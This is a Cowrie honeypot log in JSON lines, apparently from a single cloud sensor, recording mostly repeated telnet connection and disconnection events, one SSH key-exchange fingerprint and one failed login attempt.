{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41272,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2019d3c985e","protocol":"telnet","message":"New connection: 104.245.105.2:41272 (10.17.0.5:23) [session: d2019d3c985e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:08.985679Z"}
{"eventid":"cowrie.session.closed","duration":31.656386375427246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:09.732740Z","src_ip":"104.245.105.2","session":"523a3e9d6373","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.557331085205078,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:09.963418Z","src_ip":"188.208.141.113","session":"75482188ea5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.854168176651,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:11.828297Z","src_ip":"104.245.105.2","session":"438fac6a0f62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":34872,"dst_ip":"10.17.0.5","dst_port":23,"session":"9962b2ff00fc","protocol":"telnet","message":"New connection: 206.189.32.23:34872 (10.17.0.5:23) [session: 9962b2ff00fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:12.759539Z"}
{"eventid":"cowrie.session.closed","duration":30.67544913291931,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:14.199988Z","src_ip":"104.245.105.2","session":"ea3bbf9ce1c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.28623580932617,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:14.921549Z","src_ip":"104.245.105.2","session":"890c170574a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40504,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7de36e29f7e","protocol":"telnet","message":"New connection: 104.245.105.2:40504 (10.17.0.5:23) [session: c7de36e29f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:15.048071Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":37192,"dst_ip":"10.17.0.5","dst_port":23,"session":"c907ac48a7d1","protocol":"telnet","message":"New connection: 206.189.32.23:37192 (10.17.0.5:23) [session: c907ac48a7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:15.409782Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40512,"dst_ip":"10.17.0.5","dst_port":23,"session":"83fdae23717d","protocol":"telnet","message":"New connection: 104.245.105.2:40512 (10.17.0.5:23) [session: 83fdae23717d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:15.542445Z"}
{"eventid":"cowrie.session.closed","duration":31.473307371139526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:16.653866Z","src_ip":"104.245.105.2","session":"3ee0b06a355a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.14906549453735,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:17.622989Z","src_ip":"104.245.105.2","session":"d11c1a1d3a80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40516,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a182ebb5a0e","protocol":"telnet","message":"New connection: 104.245.105.2:40516 (10.17.0.5:23) [session: 1a182ebb5a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:17.693397Z"}
{"eventid":"cowrie.session.closed","duration":32.16166830062866,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:19.569166Z","src_ip":"104.245.105.2","session":"663e43b03c75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62108278274536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:22.315686Z","src_ip":"104.245.105.2","session":"26fdd5464507","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53074,"dst_ip":"10.17.0.5","dst_port":23,"session":"f052270ff018","protocol":"telnet","message":"New connection: 104.245.105.2:53074 (10.17.0.5:23) [session: f052270ff018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:22.543800Z"}
{"eventid":"cowrie.session.closed","duration":49.381651878356934,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:23.541093Z","src_ip":"206.189.32.23","session":"591cc71ff5a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53092,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c551b63c677","protocol":"telnet","message":"New connection: 104.245.105.2:53092 (10.17.0.5:23) [session: 4c551b63c677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:23.929283Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53090,"dst_ip":"10.17.0.5","dst_port":23,"session":"5044736a0b60","protocol":"telnet","message":"New connection: 104.245.105.2:53090 (10.17.0.5:23) [session: 5044736a0b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:24.718891Z"}
{"eventid":"cowrie.session.closed","duration":32.11754846572876,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:26.929447Z","src_ip":"104.245.105.2","session":"391f38267c65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53104,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e723085a8e2","protocol":"telnet","message":"New connection: 104.245.105.2:53104 (10.17.0.5:23) [session: 7e723085a8e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:27.999214Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":46924,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ce3c01bf1fc","protocol":"ssh","message":"New connection: 190.108.60.10:46924 (10.17.0.5:22) [session: 3ce3c01bf1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:29.634019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:29.638915Z","src_ip":"190.108.60.10","session":"3ce3c01bf1fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:29.835854Z","src_ip":"190.108.60.10","session":"3ce3c01bf1fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.87050199508667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:29.975573Z","src_ip":"104.245.105.2","session":"fedad95e926d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"asdfasdf","message":"login attempt [postgres/asdfasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:30.683064Z","src_ip":"190.108.60.10","session":"3ce3c01bf1fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.56390190124512,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:31.810918Z","src_ip":"104.245.105.2","session":"792142d34b9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:31.881103Z","src_ip":"190.108.60.10","session":"3ce3c01bf1fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51128,"dst_ip":"10.17.0.5","dst_port":23,"session":"57b0455c472e","protocol":"telnet","message":"New connection: 104.245.105.2:51128 (10.17.0.5:23) [session: 57b0455c472e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:32.016274Z"}
{"eventid":"cowrie.session.closed","duration":39.484236001968384,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:32.139759Z","src_ip":"104.245.105.2","session":"b18d4205e179","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51138,"dst_ip":"10.17.0.5","dst_port":23,"session":"7751900b8e1f","protocol":"telnet","message":"New connection: 104.245.105.2:51138 (10.17.0.5:23) [session: 7751900b8e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:32.374063Z"}
{"eventid":"cowrie.session.closed","duration":33.79379224777222,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:34.897686Z","src_ip":"104.245.105.2","session":"f2a7d9e9178d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51152,"dst_ip":"10.17.0.5","dst_port":23,"session":"dea8dd8f0f2d","protocol":"telnet","message":"New connection: 104.245.105.2:51152 (10.17.0.5:23) [session: dea8dd8f0f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:35.790297Z"}
{"eventid":"cowrie.session.closed","duration":30.556106328964233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:38.371963Z","src_ip":"104.245.105.2","session":"15b29232de53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.642261743545532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:39.631107Z","src_ip":"104.245.105.2","session":"38afb7ab81e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40644454956055,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:41.392010Z","src_ip":"104.245.105.2","session":"d2019d3c985e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57514,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bb3a32a6092","protocol":"telnet","message":"New connection: 104.245.105.2:57514 (10.17.0.5:23) [session: 8bb3a32a6092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:42.275243Z"}
{"eventid":"cowrie.session.closed","duration":35.83399844169617,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:42.658424Z","src_ip":"104.245.105.2","session":"359af7a0a6e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57520,"dst_ip":"10.17.0.5","dst_port":23,"session":"32459dcaac0a","protocol":"telnet","message":"New connection: 104.245.105.2:57520 (10.17.0.5:23) [session: 32459dcaac0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:44.231527Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57534,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffa9e4b07795","protocol":"telnet","message":"New connection: 104.245.105.2:57534 (10.17.0.5:23) [session: ffa9e4b07795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:45.483911Z"}
{"eventid":"cowrie.session.closed","duration":30.95720648765564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:46.499515Z","src_ip":"104.245.105.2","session":"83fdae23717d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.1375298500061,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:46.874291Z","src_ip":"188.208.141.113","session":"55913a23d20c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.80402398109436,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:49.851975Z","src_ip":"104.245.105.2","session":"c7de36e29f7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0010757446289,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:51.790164Z","src_ip":"38.191.219.202","session":"b7d2ba22f85c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.42683029174805,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:51.836503Z","src_ip":"206.189.32.23","session":"c907ac48a7d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":44878,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7b0c086aace","protocol":"telnet","message":"New connection: 206.189.32.23:44878 (10.17.0.5:23) [session: c7b0c086aace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:52.225277Z"}
{"eventid":"cowrie.session.closed","duration":35.294037103652954,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:52.987308Z","src_ip":"104.245.105.2","session":"1a182ebb5a0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40674,"dst_ip":"10.17.0.5","dst_port":23,"session":"60048d40b503","protocol":"telnet","message":"New connection: 104.245.105.2:40674 (10.17.0.5:23) [session: 60048d40b503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:53.281811Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40682,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c0c35318988","protocol":"telnet","message":"New connection: 104.245.105.2:40682 (10.17.0.5:23) [session: 9c0c35318988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:53.988081Z"}
{"eventid":"cowrie.session.closed","duration":41.766271352767944,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:54.525707Z","src_ip":"206.189.32.23","session":"9962b2ff00fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0741126537323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:55.792849Z","src_ip":"104.245.105.2","session":"5044736a0b60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":48016,"dst_ip":"10.17.0.5","dst_port":23,"session":"e79fe02c5211","protocol":"telnet","message":"New connection: 206.189.32.23:48016 (10.17.0.5:23) [session: e79fe02c5211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:59.514828Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50744,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecddd6eeb4c0","protocol":"telnet","message":"New connection: 104.245.105.2:50744 (10.17.0.5:23) [session: ecddd6eeb4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:59.579851Z"}
{"eventid":"cowrie.session.closed","duration":31.830464124679565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:59.829536Z","src_ip":"104.245.105.2","session":"7e723085a8e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.93830108642578,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:01.481958Z","src_ip":"104.245.105.2","session":"f052270ff018","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.191.219.202","src_port":56842,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4769f30da3b","protocol":"telnet","message":"New connection: 38.191.219.202:56842 (159.203.135.109:23) [session: b4769f30da3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:02.847426Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50746,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c06c8e733bb","protocol":"telnet","message":"New connection: 104.245.105.2:50746 (10.17.0.5:23) [session: 1c06c8e733bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:02.994418Z"}
{"eventid":"cowrie.session.closed","duration":31.653727531433105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:04.027699Z","src_ip":"104.245.105.2","session":"7751900b8e1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50748,"dst_ip":"10.17.0.5","dst_port":23,"session":"b90b06ad360a","protocol":"telnet","message":"New connection: 104.245.105.2:50748 (10.17.0.5:23) [session: b90b06ad360a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:04.832123Z"}
{"eventid":"cowrie.session.closed","duration":41.518553495407104,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:05.447663Z","src_ip":"104.245.105.2","session":"4c551b63c677","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.500913858413696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:07.291109Z","src_ip":"104.245.105.2","session":"dea8dd8f0f2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50756,"dst_ip":"10.17.0.5","dst_port":23,"session":"b120a81726a7","protocol":"telnet","message":"New connection: 104.245.105.2:50756 (10.17.0.5:23) [session: b120a81726a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:08.810714Z"}
{"eventid":"cowrie.session.closed","duration":36.9355103969574,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:08.951664Z","src_ip":"104.245.105.2","session":"57b0455c472e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":33384,"dst_ip":"10.17.0.5","dst_port":23,"session":"85322c8bc015","protocol":"telnet","message":"New connection: 206.189.32.23:33384 (10.17.0.5:23) [session: 85322c8bc015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:09.330514Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.191.219.202","src_port":57264,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c685e4e903a","protocol":"telnet","message":"New connection: 38.191.219.202:57264 (159.203.135.109:23) [session: 0c685e4e903a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:11.509402Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45152,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a392e1b6c77","protocol":"telnet","message":"New connection: 104.245.105.2:45152 (10.17.0.5:23) [session: 4a392e1b6c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:12.641410Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45158,"dst_ip":"10.17.0.5","dst_port":23,"session":"67b6bb95b3f0","protocol":"telnet","message":"New connection: 104.245.105.2:45158 (10.17.0.5:23) [session: 67b6bb95b3f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:14.666999Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57690,"dst_ip":"10.17.0.5","dst_port":23,"session":"1923cf0d0ed6","protocol":"telnet","message":"New connection: 188.208.141.113:57690 (10.17.0.5:23) [session: 1923cf0d0ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:14.847989Z"}
{"eventid":"cowrie.session.closed","duration":33.22097611427307,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:15.496089Z","src_ip":"104.245.105.2","session":"8bb3a32a6092","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45174,"dst_ip":"10.17.0.5","dst_port":23,"session":"39cd3bf6ef81","protocol":"telnet","message":"New connection: 104.245.105.2:45174 (10.17.0.5:23) [session: 39cd3bf6ef81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:16.522996Z"}
{"eventid":"cowrie.session.closed","duration":32.858200788497925,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:17.089633Z","src_ip":"104.245.105.2","session":"32459dcaac0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45182,"dst_ip":"10.17.0.5","dst_port":23,"session":"27a0e77da6c9","protocol":"telnet","message":"New connection: 104.245.105.2:45182 (10.17.0.5:23) [session: 27a0e77da6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:18.496486Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39876,"dst_ip":"10.17.0.5","dst_port":23,"session":"279c808c7c50","protocol":"telnet","message":"New connection: 104.245.105.2:39876 (10.17.0.5:23) [session: 279c808c7c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:23.102088Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39884,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaf98abd02ea","protocol":"telnet","message":"New connection: 104.245.105.2:39884 (10.17.0.5:23) [session: aaf98abd02ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:23.757479Z"}
{"eventid":"cowrie.session.closed","duration":31.810250282287598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:25.091952Z","src_ip":"104.245.105.2","session":"60048d40b503","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27410316467285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:25.262084Z","src_ip":"104.245.105.2","session":"9c0c35318988","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.16593623161316,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:26.649745Z","src_ip":"104.245.105.2","session":"ffa9e4b07795","protocol":"telnet"}
